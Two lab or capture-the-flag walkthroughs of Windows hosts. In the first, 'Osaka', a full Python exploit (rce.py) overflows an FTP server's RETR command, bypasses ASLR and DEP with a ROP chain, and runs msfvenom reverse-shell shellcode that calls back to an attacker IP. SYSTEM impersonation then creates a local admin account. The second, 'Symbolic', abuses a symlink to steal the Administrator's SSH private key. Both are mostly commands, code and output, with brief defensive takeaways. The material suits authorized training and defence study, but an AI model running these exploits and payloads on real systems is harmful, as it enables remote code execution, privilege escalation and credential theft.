Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Osaka is a standalone Windows Server 2019 host (OSAKA workgroup). A full TCP scan shows FTP, SMB, and RDP. The custom FTP service on port 21 accepts admin/admin and exposes a hidden DEBUG command that leaks memory for ASLR bypass.

Exploit development happens on the Windows VM with WinDbg + Mona.py (!mona commands — same syntax as Immunity). The workflow: fuzz RETR → Mona pattern offset 272 → module protections (ASLR + DEP) → DEBUG %x leak delta 0x10f0 → Mona IAT for VirtualProtect at ftp+0x1e000 → Mona ROP chain → msfvenom shellcode → remote rce.py. The callback lands as osaka\wilson with SeDebugPrivilege enabled. Parent-process impersonation via psgetsys runs net user as SYSTEM, creating local admin aov. RDP completes the box.

Attack chain (end-to-end)​

nmap → FTP login (admin/admin) → DEBUG leak discovery
  → WinDbg attach ftp.exe → !mona pattern → offset 272
  → !mona modules (ASLR+DEP) → !mona iat VirtualProtect → !mona rop
  → msfvenom shellcode → rce.py → Penelope shell (wilson)
  → psgetsys → SYSTEM net user aov → RDP → Administrator desktop

Phase 0 — Kali prep​

0.1 Confirm your callback IP​

ip -4 addr show

Lab run used 192.168.45.182. Every LHOST / listener must match the interface that routes to the Osaka VM.

0.2 Start the reverse-shell handler​

penelope -p 5555
# equivalent: nc -lvnp 5555

Penelope output:

[+] Listening for reverse shells on 0.0.0.0:5555 -> 127.0.0.1 • 10.0.2.15 • 192.168.45.182

0.3 Create the working directory on Kali​

mkdir -p ~/aov_lab/Osaka
cd ~/aov_lab/Osaka

All exploit scripts (check.py, rce.py) live here.

Phase 1 — Enumeration​

1.1 Full port scan​

nmap -sV -sC -p- 192.168.120.20 -v

Notable open ports:

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp?
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 500 PASV is not supported
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: OSAKA
|   NetBIOS_Domain_Name: OSAKA
|   NetBIOS_Computer_Name: OSAKA
|   DNS_Domain_Name: osaka
|   DNS_Computer_Name: osaka
|   Product_Version: 10.0.17763
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Host metadata:

Host:     Simple (Service Info)
OS:       Windows Server 2019 Build 17763
Workgroup/Domain: OSAKA
RDP:      3389 open
SMB signing: enabled but not required

Takeaways: FTP is the foothold. RDP is the finish line. PASV mode is broken (500 PASV is not supported) — use active FTP or scripted clients only.

1.2 Manual FTP interaction​

ftp 192.168.120.20

220 Welcome
USER admin
331 Password required
PASS admin
230 User logged in

After login, probe non-standard commands:

DEBUG %x

Example response:

DEBUG: 0x00401f0a

That hex value is a pointer inside ftp.exe — used later to defeat ASLR on every run.

Anonymous login also works (ftp-anon in nmap), but RETR overflow testing requires the authenticated session in this lab.

1.3 Identify the vulnerable binary​

Once inside the shell (post-exploit), the service binary is visible:

C:\dev> dir
05/11/2023  12:16 PM           158,208 ftp.exe
05/11/2023  12:25 PM                29 dev.txt

dev.txt contents:

This is a development server.

The overflow target is C:\dev\ftp.exe — a 32-bit custom FTP server, not IIS FTP.

Phase 2 — WinDbg + Mona setup (on the Windows VM)​

All offset work happens attached to the crashing process. Do not guess ROP gadgets from a static disassembler alone.

2.1 Install WinDbg Preview​

On the Osaka VM (or a matching dev snapshot):

1. Install WinDbg Preview from the Microsoft Store, or classic WinDbg from the Windows SDK.
2. Confirm it launches and can attach to user-mode processes.

2.2 Install Mona.py​

# On the VM — download Corelan Mona
iwr https://raw.githubusercontent.com/corelan/mona/master/mona.py -OutFile C:\mona\mona.py

Mona is a Python script. WinDbg loads it as a debugger extension command — you invoke it with !mona, exactly like Immunity Debugger.

2.3 Start the FTP service and attach​

Ensure ftp.exe is listening on port 21, then attach:

windbg -pn ftp.exe

Or from an open WinDbg session:

File → Attach to Process → ftp.exe

2.4 Configure Mona working folder​

In the WinDbg command window:

!mona config -set workingfolder c:\mona\%p
!mona config -get workingfolder

Mona writes patterns, module lists, ROP output, and bytearray files under c:\mona\<pid>\.

Note: Some WinDbg Preview tutorials show !py mona ... when Mona is run as a raw Python script. When Mona is loaded correctly as a debugger extension, use !mona only — that is what this lab uses.

2.5 Useful WinDbg commands for this lab​

Phase 3 — Find the crash (RETR overflow)​

3.1 Hypothesis​

The server copies the RETR <filename> argument into a fixed stack buffer with no bounds check. Oversized filenames corrupt the saved return address.

3.2 First crash script (check.py)​

On Kali, with WinDbg attached to ftp.exe:

#!/usr/bin/env python
from pwn import *

p = remote("192.168.120.20", 21)
p.recvuntil(b"220")
p.sendline(b"USER admin")
p.recvuntil(b"331")
p.sendline(b"PASS admin")
p.recvuntil(b"230")
p.recvline()

payload = b"A" * 500
p.sendline(b"RETR " + payload)

Run:

python3 check.py

WinDbg breaks with an access violation — the FTP thread attempted to return to a corrupted address.

3.3 Confirm EIP control​

Send a deterministic payload:

RETR AAA...272 bytes...BBBB

In WinDbg after crash:

r eip

If EIP = 41414141 or similar corrupted value, you control the return address at offset 272.

Phase 4 — EIP offset with Mona pattern​

4.1 Generate the pattern (on VM, in WinDbg)​

!mona pattern_create 400

Mona writes pattern.txt to c:\mona\<pid>\. Open it and copy the full cyclic string.

4.2 Trigger crash with the pattern​

Python one-liner or small script:

pattern = open("pattern.txt").read().strip()
p.sendline(b"RETR " + pattern.encode())

4.3 Read EIP and resolve offset​

After the crash in WinDbg:

r eip
!mona pattern_offset eip

Mona output for this lab:

Exact match at offset 272
268 bytes buffer + 4 saved EBP → return address at offset 272

4.4 Alternative from Kali (no Mona pattern on VM)​

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
# after crash, read EIP value in WinDbg:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_VALUE>

Both methods must agree: 272 bytes before the return address.

Phase 5 — Module protections (!mona modules)​

!mona modules
lm m ftp
lm v m ftp

Typical Osaka ftp.exe row:

start             end               module name
00400000          00427000          ftp

Protection summary:

Because DEP is enabled, jumping directly to shellcode on the stack fails. The standard fix: ROP into VirtualProtect, mark the stack region RWX, then jmp esp into a NOP sled + shellcode.

Phase 6 — Bad character analysis​

FTP copies the filename into a C string — \x00 terminates the copy. Filter ROP gadgets and shellcode accordingly.

!mona bytearray -b "\x00"
!mona rop -m ftp -cpb "\x00"

Also watch for \x0a (newline) and \x0d (carriage return) if the parser treats them as command terminators. The final msfvenom stage uses -b "\x00" at minimum.

Phase 7 — ASLR leak via DEBUG %x​

7.1 Discover the leak (manual, from Kali)​

p.sendline(b"DEBUG %x")
line = p.recvline(timeout=5)
print(line)

Example:

DEBUG: 0x00401f0a

7.2 Correlate with module base (WinDbg, same run)​

While attached, before or after sending DEBUG:

lm m ftp

Example:

00400000          00427000          ftp

7.3 Compute the static delta​

leak     = 0x00401f0a   (from DEBUG response)
bin_base = 0x00400000   (from lm — changes each run)
delta    = leak - bin_base = 0x10f0

That 0x10f0 constant is baked into the remote exploit:

leak = int(line.split()[1], 16)
bin_base = leak - 0x10f0

Every ROP gadget address becomes gadget_offset + bin_base at runtime.

7.4 Verify the leak points into ftp.exe​

In WinDbg, check whether the leaked address falls inside the module range:

? 00401f0a - 00400000

If the delta is stable across multiple DEBUG %x calls (same process run), the leak slot is reliable. Restart ftp.exe, send DEBUG again, recompute — bin_base should match lm m ftp.

Optional multi-leak probe:

DEBUG %x|%x|%x|%x

Use the first value that falls inside ftp.exe for the delta calculation.

Phase 8 — Resolve VirtualProtect IAT (Mona)​

!mona iat -s VirtualProtect -m ftp

Mona lists the Import Address Table slot. Relative to image base 0x00400000:

VirtualProtect IAT → ftp+0x1e000  (absolute 0x0041e000 when base = 0x00400000)

In rce.py, the tuple (0x1e000, True) means: add bin_base at runtime before packing into the payload.

Verify in WinDbg:

dps ftp+0x1e000 L1

Should show a pointer into kernel32!VirtualProtect (or similar).

Phase 9 — Build the ROP chain (Mona)​

9.1 Generate candidate gadgets​

!mona bytearray -b "\x00"
!mona rop -m ftp -cpb "\x00"

Mona writes rop.txt and often rop_virtualprotect.txt under c:\mona\<pid>\. Open those files and look for a chain containing:

• pop eax ; ret → load VirtualProtect IAT pointer
• register pops for VirtualProtect arguments
• pushad ; ret → sets up the call
• jmp esp → land on shellcode after the API returns

9.2 Verify each gadget in WinDbg​

Before copying offsets into Python, disassemble each one:

!u ftp+0x1ce98
!u ftp+0x8099
!u ftp+0x1bde3
!u ftp+0x10b8e
!u ftp+0x4905
!u ftp+0x2076
!u ftp+0x14adb
!u ftp+0x1d2bf
!u ftp+0x10d6
!u ftp+0x10da

9.3 Final gadget table (offsets from ftp.exe base)​

Register layout after pushad (classic Corelan VirtualProtect technique):

Constants (0x201, 0x40, 0x27041, 0x4426) are not rebased — Python tuple second field is False. Gadget addresses are rebased — second field is True.

9.4 Local validation before going remote​

Set a breakpoint on the final gadget:

bp ftp+0x10da
g

Send the full payload from Kali. When WinDbg breaks at jmp esp:

1. Single-step through VirtualProtect
2. Confirm ESP points at the NOP sled
3. Confirm execution reaches shellcode (or at least that the page permissions changed)

After a successful hit, ftp.exe may crash or hang — normal for this lab.

Phase 10 — Generate shellcode (msfvenom on Kali)​

Match LHOST to your Penelope listener IP and LPORT to 5555:

msfvenom -a x86 -p windows/shell_reverse_tcp \
  LHOST=192.168.45.182 LPORT=5555 \
  -b "\x00" \
  -f python -v shellcode

Regenerate shellcode whenever LHOST or LPORT changes. Do not reuse bytes from another network.

Phase 11 — Assemble the payload​

Stack layout after the overflow:

[ 272 bytes padding ] [ ROP chain — 22 dwords ] [ 16-byte NOP sled ] [ shellcode ]

Python logic:

payload = b"A" * 272
for val, add_base in rop:
    payload += p32(val + bin_base if add_base else val)
payload += b"\x90" * 16
payload += shellcode
p.sendline(b"RETR " + payload)

Trigger: FTP treats everything after RETR as the filename → stack overflow → EIP → ROP → VirtualProtect → jmp esp → shellcode → TCP callback to Kali.

Phase 12 — Run the exploit​

12.1 Terminal 1 (Kali) — listener​

penelope -p 5555

12.2 Terminal 2 (Kali) — exploit​

cd ~/aov_lab/Osaka
python3 rce.py

Expected script output:

[*] leak=0x401f0a bin_base=0x400000
[*] exploit sent — check nc -lvnp 5555

Expected Penelope callback:

[+] [New Reverse Shell] => OSAKA 192.168.120.20 ... 👤 osaka\wilson

In the shell:

C:\dev> whoami
osaka\wilson

12.3 Full exploit — rce.py​

#!/usr/bin/env python
from pwn import *

p = remote("192.168.120.20", 21)
p.recvuntil(b"220")
p.sendline(b"USER admin")
p.recvuntil(b"331")
p.sendline(b"PASS admin")
p.recvuntil(b"230")
p.recvline()

# msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.45.182 LPORT=5555 -b "\x00" -f python -v shellcode
shellcode =  b""
shellcode += b"\xba\x63\x7a\xe1\x66\xda\xd6\xd9\x74\x24\xf4"
shellcode += b"\x5b\x33\xc9\xb1\x52\x31\x53\x12\x03\x53\x12"
shellcode += b"\x83\xa0\x7e\x03\x93\xda\x97\x41\x5c\x22\x68"
shellcode += b"\x26\xd4\xc7\x59\x66\x82\x8c\xca\x56\xc0\xc0"
shellcode += b"\xe6\x1d\x84\xf0\x7d\x53\x01\xf7\x36\xde\x77"
shellcode += b"\x36\xc6\x73\x4b\x59\x44\x8e\x98\xb9\x75\x41"
shellcode += b"\xed\xb8\xb2\xbc\x1c\xe8\x6b\xca\xb3\x1c\x1f"
shellcode += b"\x86\x0f\x97\x53\x06\x08\x44\x23\x29\x39\xdb"
shellcode += b"\x3f\x70\x99\xda\xec\x08\x90\xc4\xf1\x35\x6a"
shellcode += b"\x7f\xc1\xc2\x6d\xa9\x1b\x2a\xc1\x94\x93\xd9"
shellcode += b"\x1b\xd1\x14\x02\x6e\x2b\x67\xbf\x69\xe8\x15"
shellcode += b"\x1b\xff\xea\xbe\xe8\xa7\xd6\x3f\x3c\x31\x9d"
shellcode += b"\x4c\x89\x35\xf9\x50\x0c\x99\x72\x6c\x85\x1c"
shellcode += b"\x54\xe4\xdd\x3a\x70\xac\x86\x23\x21\x08\x68"
shellcode += b"\x5b\x31\xf3\xd5\xf9\x3a\x1e\x01\x70\x61\x77"
shellcode += b"\xe6\xb9\x99\x87\x60\xc9\xea\xb5\x2f\x61\x64"
shellcode += b"\xf6\xb8\xaf\x73\xf9\x92\x08\xeb\x04\x1d\x69"
shellcode += b"\x22\xc3\x49\x39\x5c\xe2\xf1\xd2\x9c\x0b\x24"
shellcode += b"\x74\xcc\xa3\x97\x35\xbc\x03\x48\xde\xd6\x8b"
shellcode += b"\xb7\xfe\xd9\x41\xd0\x95\x20\x02\x1f\xc1\x07"
shellcode += b"\x64\xf7\x10\x57\x9d\xbb\x9c\xb1\xf7\xab\xc8"
shellcode += b"\x6a\x60\x55\x51\xe0\x11\x9a\x4f\x8d\x12\x10"
shellcode += b"\x7c\x72\xdc\xd1\x09\x60\x89\x11\x44\xda\x1c"
shellcode += b"\x2d\x72\x72\xc2\xbc\x19\x82\x8d\xdc\xb5\xd5"
shellcode += b"\xda\x13\xcc\xb3\xf6\x0a\x66\xa1\x0a\xca\x41"
shellcode += b"\x61\xd1\x2f\x4f\x68\x94\x14\x6b\x7a\x60\x94"
shellcode += b"\x37\x2e\x3c\xc3\xe1\x98\xfa\xbd\x43\x72\x55"
shellcode += b"\x11\x0a\x12\x20\x59\x8d\x64\x2d\xb4\x7b\x88"
shellcode += b"\x9c\x61\x3a\xb7\x11\xe6\xca\xc0\x4f\x96\x35"
shellcode += b"\x1b\xd4\x9b\xae\x3c\x43\x4c\x89\xd7\x29\x11"
shellcode += b"\x2a\x02\x6d\x2c\xa9\xa6\x0e\xcb\xb1\xc3\x0b"
shellcode += b"\x97\x75\x38\x66\x88\x13\x3e\xd5\xa9\x31"

# ASLR leak
p.sendline(b"DEBUG %x")
line = p.recvline(timeout=5)
leak = int(line.split()[1], 16)
bin_base = leak - 0x10f0
log.info(f"leak={hex(leak)} bin_base={hex(bin_base)}")

# mona rop chain — offsets from ftp.exe base 0x400000
rop = [
    (0x1ce98, True), (0x1ce98, True),   # pop ebp
    (0x8099, True), (0x201, False),     # pop ebx, PAGE_EXECUTE_READWRITE
    (0x1bde3, True), (0x40, False),      # pop edx, flProtect
    (0x10b8e, True), (0x27041, True),    # pop ecx, writable
    (0x4905, True), (0x4426, True),      # pop edi, ret (nop)
    (0x2076, True), (0x14adb, True),    # pop esi, jmp [eax]
    (0x1d2bf, True), (0x1e000, True),    # pop eax, VirtualProtect IAT
    (0x10d6, True),                      # pushad
    (0x10da, True),                      # jmp esp
]

payload = b"A" * 272
for val, add_base in rop:
    payload += p32(val + bin_base if add_base else val)
payload += b"\x90" * 16
payload += shellcode

p.sendline(b"RETR " + payload)
log.info("exploit sent — check nc -lvnp 5555")

Phase 13 — Privilege escalation (wilson → SYSTEM → local admin)​

The reverse shell runs as osaka\wilson, the FTP service account. This is not the end — the account carries a powerful privilege.

13.1 Check token privileges​

whoami /priv

SeDebugPrivilege                Debug programs                                Enabled
SeChangeNotifyPrivilege         Bypass traverse checking                      Enabled

SeDebugPrivilege (Enabled) allows opening high-privilege processes (e.g. winlogon, services) for handle duplication and parent-process attribute spoofing.

13.2 Download psgetsys to the target​

From the wilson shell:

powershell -ep bypass -c "iwr https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1 -o C:\dev\psgetsys.ps1"

Verify:

dir C:\dev\psgetsys.ps1

13.3 Load psgetsys (PowerShell, not cmd)​

Common mistake: running . .\psgetsys.ps1 from cmd fails:

'.' is not recognized as an internal or external command

Enter PowerShell first:

powershell
PS C:\dev> . .\psgetsys.ps1

Use dot-source (. .\psgetsys.ps1), not Import-Module.

Confirm the function exists:

Get-Command ImpersonateFromParentPid

13.4 Prove SYSTEM execution (file-based check)​

The psgetsys child process is separate from the reverse shell — whoami in the Penelope session still shows wilson. Write proof to disk instead:

ImpersonateFromParentPid -ppid (Get-Process winlogon)[0].Id `
  -command C:\Windows\System32\cmd.exe `
  -cmdargs '/c whoami > C:\dev\sys.txt 2>&1'

From cmd:

type C:\dev\sys.txt
nt authority\system

Expected psgetsys output:

[+] Got Handle for ppid: 556
[+] Updated proc attribute list
[+] Starting C:\Windows\System32\cmd.exe /c whoami > C:\dev\sys.txt...True - pid: xxxx

13.5 Create local administrator aov​

Still in PowerShell with psgetsys loaded:

ImpersonateFromParentPid -ppid (Get-Process winlogon)[0].Id `
  -command C:\Windows\System32\cmd.exe `
  -cmdargs '/c net user aov Pass123! /add'

ImpersonateFromParentPid -ppid (Get-Process winlogon)[0].Id `
  -command C:\Windows\System32\cmd.exe `
  -cmdargs '/c net localgroup administrators aov /add'

Lab output:

[+] Got Handle for ppid: 556
[+] Updated proc attribute list
[+] Starting C:\Windows\System32\cmd.exe /c net user aov Pass123! /add...True - pid: 2432 - Last error: 122
[+] Starting C:\Windows\System32\cmd.exe /c net localgroup administrators aov /add...True - pid: 4516 - Last error: 122

Last error: 122 after True + a valid PID is common here. Verify success by RDP login, not by the error code alone.

13.6 Why the reverse shell stays wilson​

Penelope session  →  osaka\wilson  (FTP service token — unchanged)
psgetsys child    →  nt authority\system  (separate process — not your interactive shell)
RDP session       →  osaka\aov  (new logon — administrator desktop)

To get an interactive SYSTEM shell you would need a reverse callback from the psgetsys child (e.g. r.ps1 over HTTP + full path to powershell.exe) — for this lab, creating aov and RDP is the intended finish.

Phase 14 — RDP as local administrator​

14.1 Connect from Kali​

rdesktop 192.168.120.20
# or: xfreerdp3 /u:aov /p:'Pass123!' /v:192.168.120.20 +clipboard

Credentials:

Username: aov
Password: Pass123!

14.2 Session proof​

C:\Users\Administrator\Desktop> whoami
osaka\aov

C:\Users\Administrator\Desktop> whoami /groups
BUILTIN\Administrators                                        ... Enabled group, Group owner
NT AUTHORITY\Local account and member of Administrators group ... Enabled group
Mandatory Label\High Mandatory Level                          ...

Common failure points​

Root outcome​

Osaka is a classic Windows exploit-development + token abuse chain:

1. Recon — nmap isolates FTP + RDP on Server 2019 standalone host
2. Fuzz — RETR overflow on C:\dev\ftp.exe
3. WinDbg + Mona — pattern offset 272, modules (ASLR+DEP), IAT, ROP
4. ASLR bypass — DEBUG %x leak, delta 0x10f0
5. DEP bypass — ROP VirtualProtect + jmp esp + msfvenom shellcode
6. Foothold — reverse shell as osaka\wilson
7. Privesc — SeDebugPrivilege + psgetsys → SYSTEM net user
8. Admin access — RDP as aov on Administrator desktop

Why this machine is a good lesson​

Osaka combines offensive development and post-exploitation tradecraft in one box.

The FTP stage is a full WinDbg exercise: Mona pattern for offset, module/IAT enumeration, DEBUG leak math, manual ROP gadget verification, and DEP bypass — not a Metasploit module one-liner. The privesc stage teaches that a low-priv shell with SeDebugPrivilege is not the finish line — parent-process attribute spoofing turns one enabled privilege into arbitrary SYSTEM command execution.

Defensive takeaways​

1. Never ship debug commands (DEBUG, format leaks) on production services.
2. Fix stack overflows — use bounded copies and compile with /GS where applicable.
3. Enable ASLR and avoid leaking rebasing pointers to unauthenticated clients.
4. Treat SeDebugPrivilege as tier-0 — restrict which service accounts receive it.
5. Monitor for net user / net localgroup administrators from unexpected parent processes.
6. Require NLA + strong passwords on RDP; alert on new local admin creation.

References​

• psgetsystem (decoder-it)
• Mona.py (Corelan) — ROP/pattern/IAT for WinDbg and Immunity
• WinDbg Preview
• Pwntools
• Penelope reverse shell handler
• MSDN — VirtualProtect
• SeDebugPrivilege

Unauthorized access is illegal. This write-up is for education and authorized lab work only.

Lab only. All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.

Summary​

Symbolic (192.168.120.177, hostname SYMBOLIC) exposes SSH and Apache/PHP with a WebPage to PDF converter (XAMPP). Directory brute-force finds /Pdfs/ with predictable hash-named PDFs. One PDF embeds p4yl0ad's OpenSSH private key — initial access.

On the box, p4yl0ad holds SeTcbPrivilege (Act as part of the operating system) — a red herring / alternate write-up path on some guides. What actually worked: CreateSymlink.exe repoints the web app's log file to C:\Users\Administrator\.ssh\id_rsa, so the logging pipeline copies the administrator key into attacker-readable logs. SSH as administrator finishes the box.

Attack chain (end-to-end)​

nmap → gobuster (/Pdfs/) → download PDF → extract id_rsa
  → SSH p4yl0ad → whoami /priv (SeTcbPrivilege — note, don't rely on tcb.exe here)
  → CreateSymlink: logs\request.log → Administrator\.ssh\id_rsa
  → trigger PDF app / read backup log → admin_id_rsa
  → SSH administrator → flags

Phase 0 — Kali prep​

0.1 Working directory​

mkdir -p ~/aov_lab/Symbolic
cd ~/aov_lab/Symbolic

0.2 Confirm routable IP (for hosting tools later)​

ip -4 addr show

Lab run used 192.168.45.182. You will serve CreateSymlink.exe from this address.

0.3 Host CreateSymlink.exe (before you need it on the box)​

Download CreateSymlink (Google Project Zero) on Kali, then:

# from the directory containing CreateSymlink.exe
python3 -m http.server 80
# or copy to a web root and serve on port 80

On Windows you will pull:

powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"

Host CreateSymlink.exe only — you do not need tcb.exe for the working path on this box.

Phase 1 — Port scan​

1.1 Full TCP scan​

nmap -sV -sC -p- 192.168.120.177 -v

Notable results:

Nmap scan report for 192.168.120.177
Host is up (0.026s latency).
Not shown: 65533 filtered tcp ports (no-response)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 3e:40:e2:ef:21:ea:c1:77:b6:14:a3:f7:04:59:45:28 (RSA)
|   256 f8:fb:e3:c6:16:3a:e2:62:d0:e2:ae:d4:f2:9e:6f:6d (ECDSA)
|_  256 94:5e:97:ad:f9:0f:81:b6:6b:3b:bd:98:43:c0:0d:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: WebPage to PDF

1.2 What this tells you​

Browse manually:

curl -s http://192.168.120.177/ | head -50

Identify the PDF conversion form (URL input, submit button, any hint about output location).

Phase 2 — Directory enumeration​

2.1 Gobuster​

gobuster dir -u http://192.168.120.177/ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  --exclude-length 0

Interesting hits:

logs                 (Status: 301) [--> http://192.168.120.177/logs/]
pdfs                 (Status: 301) [--> http://192.168.120.177/pdfs/]
PDFs                 (Status: 301) [--> http://192.168.120.177/PDFs/]
phpmyadmin           (Status: 403)
webalizer            (Status: 403)
server-status        (Status: 403)

Case-insensitive Apache aliases (pdfs, PDFs, Pdfs) all resolve — directory listing may be enabled under one of them.

2.2 Why /Pdfs/ matters​

The PDF converter saves finished files under a public web folder. If directory listing is on (or filenames are guessable MD5/SHA1 hashes of the input URL), every conversion becomes a direct download link. That is a classic misconfiguration: output artifacts are world-readable.

Enumerate:

curl -s http://192.168.120.177/Pdfs/ | grep -oP 'href="[^"]+\.pdf"' | head -20
# or browse in Firefox

Lab PDF (example):

http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf

Phase 3 — Initial access: SSH key in PDF​

3.1 Download and inspect the PDF​

wget -O symbolic.pdf \
  'http://192.168.120.177/Pdfs/abf668cc40f70bd74ce74e67eb397c27.pdf'

Extract text (any of these):

pdftotext symbolic.pdf -
strings symbolic.pdf | grep -A2 'BEGIN OPENSSH'

You should see a block like:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
... (truncated in writeup — save full key from PDF)
-----END OPENSSH PRIVATE KEY-----

Comment in the decoded key indicates user p4yl0ad@SYMBOLIC.

3.2 Why the key is in the PDF (root cause)​

The WebPage-to-PDF pipeline likely:

1. Fetches a URL or local resource supplied by whoever triggered the conversion, or
2. Embeds debug / request metadata (headers, footers, environment) into the PDF, or
3. A developer once converted a page that displayed or linked the private key (e.g. internal notes, file:// path, or pasted key in HTML).

Regardless of which UI path created this file, the impact is the same: a secret stored on disk was copied into a world-readable PDF under /Pdfs/. Never commit real private keys to a public blog — rotate in lab; in the post, redact or describe only.

3.3 Save and use the key​

# paste ONLY the key block into id_rsa
chmod 400 id_rsa
ssh -i id_rsa p4yl0ad@192.168.120.177

Accept the host key on first connect:

Are you sure you want to continue connecting (yes/no)? yes

You land in a Windows OpenSSH session as p4yl0ad@SYMBOLIC.

Phase 4 — Privilege enumeration​

4.1 Check token privileges​

whoami /priv

Lab output (abridged):

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                          State
========================================= ==================================== =======
SeTcbPrivilege                            Act as part of the operating system  Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set       Enabled

4.2 Why SeTcbPrivilege is critical​

SeTcbPrivilege (Act as part of the operating system) is one of the most powerful privileges on Windows. Holders can authenticate as any user and bypass normal access checks when calling LsaLogonUser / similar APIs.

It is not granted to normal users on production systems. On this box it is Enabled for p4yl0ad — an intentional PG misconfiguration for privilege escalation.

Typical abuse tools:

Some write-ups suggest tcb.exe for a direct admin path when SeTcbPrivilege is enabled. In this lab run, tcb.exe did not work (command ran but p4yl0ad never joined Administrators). That is fine — the intended / working solve is the symlink chain below. We still document the TCB angle because it explains why whoami /priv flags that privilege during recon.

Phase 5 — Symbolic link to steal Administrator SSH key (working path)​

This is the Symbolic namesake: abuse symbolic links so a high-value file is copied into a location p4yl0ad can read.

5.1 Why symlinks work here​

Windows has several link types:

The web/PDF stack writes HTTP request logs under:

C:\xampp\htdocs\logs\

The Administrator account uses OpenSSH for Windows with keys at:

C:\Users\Administrator\.ssh\id_rsa

Goal: Make the application (or its logging/backup job) read id_rsa when it thinks it is opening logs\request.log, then store or echo that content somewhere p4yl0ad reads — e.g. C:\backup\logs\<timestamp>.

5.2 Download CreateSymlink.exe on the target​

On Kali (port 80):

python3 -m http.server 80

On SYMBOLIC (PowerShell):

powershell -ep bypass -c "iwr http://192.168.45.182/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"

CreateSymlink.exe (Project Zero) creates Global symlink objects in \RPC Control\ that redirect opens of request.log to \??\C:\Users\Administrator\.ssh\id_rsa.

5.3 Remove the real logs directory​

cd C:\backup
Remove-Item -Recurse -Force "C:\xampp\htdocs\logs"
# confirm: Y

Why delete first: You need the next open/create on logs\request.log to hit your symlink, not an existing real file or directory layout.

5.4 Create the symlink​

.\CreateSymlink.exe 'C:\xampp\htdocs\logs\request.log' 'C:\Users\Administrator\.ssh\id_rsa'

Expected:

Opened Link \RPC Control\request.log -> \??\C:\Users\Administrator\.ssh\id_rsa: 00000158
Press ENTER to exit and delete the symlink

Leave the tool running or press ENTER only after you capture the key (depending on timing — if the link disappears, recreate before triggering the app).

What this means: Any process that opens C:\xampp\htdocs\logs\request.log (via the object manager path) is redirected to the administrator's private key file.

5.5 Trigger the WebPage-to-PDF / logging pipeline​

Generate fresh traffic so the app touches the log path:

1. Browse http://192.168.120.177/ from Kali.
2. Submit a new URL for PDF conversion (any valid http(s) page).
3. Wait for a new timestamped log under C:\backup\logs\ (backup job path on this box).

5.6 Read the exfiltrated key​

cd C:\backup\logs
dir
type 09-13-2026_18_33_49

(File name is timestamp-based — use dir for the exact name on your run.)

Output begins with:

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Save on Kali as admin_id_rsa, chmod 400, do not publish the full key in a blog post.

Phase 6 — Administrator SSH session​

6.1 Connect as administrator​

On Kali:

chmod 400 admin_id_rsa
ssh administrator@192.168.120.177 -i admin_id_rsa

Success:

Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

administrator@SYMBOLIC C:\Users\Administrator>

6.2 Confirm impact​

whoami
whoami /groups
hostname

You are the built-in Administrator on SYMBOLIC — full host compromise via SSH.

Phase 7 — Optional: HTTP server on Kali (reference)​

Minimal file hosting layout used during the lab:

cd ~/aov_lab/Symbolic
# place CreateSymlink.exe here
python3 -m http.server 80

Windows pull pattern:

powershell -ep bypass -c "iwr http://<KALI_IP>/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"

Replace <KALI_IP> with your interface IP (e.g. 192.168.45.182).

Common failure points​

Key takeaways​

1. Generated artifacts (PDFs, exports, caches) are secret-leak territory — treat /Pdfs/ like a public S3 bucket.
2. SeTcbPrivilege looks like an easy win — always run whoami /priv, but verify the abuse tool actually works; symlink was the real path here.
3. Symbolic links let you redirect privileged file opens — the lab name is the hint.
4. OpenSSH on Windows means administrator keys live at C:\Users\Administrator\.ssh\ — high value for symlink targets.
5. Chain web misconfig → key leak → privesc → second credential mirrors real engagements where PDF/report services exfil secrets.

References​

• CreateSymlink / symbolic link testing tools (Google Project Zero)
• Windows privilege constants — SeTcbPrivilege
• OpenSSH for Windows key paths
• OffSec Proving Grounds — Symbolic (authorized lab environment)

One-line summary​

nmap → gobuster /Pdfs/ → SSH key in PDF → p4yl0ad → CreateSymlink request.log → Administrator id_rsa → SSH administrator → flags.

Appendix — tcb.exe (textbook path; did not work here)​

Some Symbolic write-ups show adding yourself to Administrators with SeTcbPrivilege:

cd C:\backup
.\tcb.exe "C:\Windows\system32\cmd.exe /c net localgroup administrators p4yl0ad /add"

